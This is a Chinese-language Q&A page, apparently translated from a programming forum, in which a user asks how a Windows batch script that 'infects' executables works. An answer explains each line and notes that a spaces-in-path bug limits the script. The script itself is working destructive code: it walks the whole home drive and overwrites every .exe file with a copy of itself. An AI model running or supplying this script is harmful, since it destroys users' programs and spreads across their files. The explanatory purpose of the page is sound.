我知道下面的命令用于感染可执行文件。但我不知道它们究竟是如何工作的。有人可以向我解释一下吗?
@echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
)
)
Del /f /s /q DirPath
Run Code Online (Sandbox Code Playgroud)
@echo off
Run Code Online (Sandbox Code Playgroud)
禁用回显批处理命令。
Dir %Homedrive% /s /b > DirPath
Run Code Online (Sandbox Code Playgroud)
C:逐行列出您的主驱动器中的所有文件和目录(通常为)(/b开关),包括子目录(/s开关)并将结果存储在文件中DirPath。
For /f %%Y In (DirPath) Do ( ... )
Run Code Online (Sandbox Code Playgroud)
对每个项目进行横向DirPath和执行...。%%Y将包含该行的第一项。
Set DirPath=%%Y > Nul
Run Code Online (Sandbox Code Playgroud)
将行的第一项存储在变量中DirPath。
For %%Z In (%DirPath%\*.exe) Do ( ... )
Run Code Online (Sandbox Code Playgroud)
遍历.exe存储在变量中的目录中的所有文件DirPath。%%Z将包含可执行文件的名称。
Set ExeInfect=%%Z > Nul
Run Code Online (Sandbox Code Playgroud)
将可执行文件的名称存储在变量中ExeInfect。
Copy /y %0 %ExeInfect%
Run Code Online (Sandbox Code Playgroud)
/y将当前可执行文件(即批处理文件)复制而不提示(切换)存储在ExeInfect.
结果,所有可执行文件都被批处理文件替换。
嗯,几乎所有。For如果目录名称包含空格,则第一个命令的行为将不正确...
| 归档时间: |
|
| 查看次数: |
1559 次 |
| 最近记录: |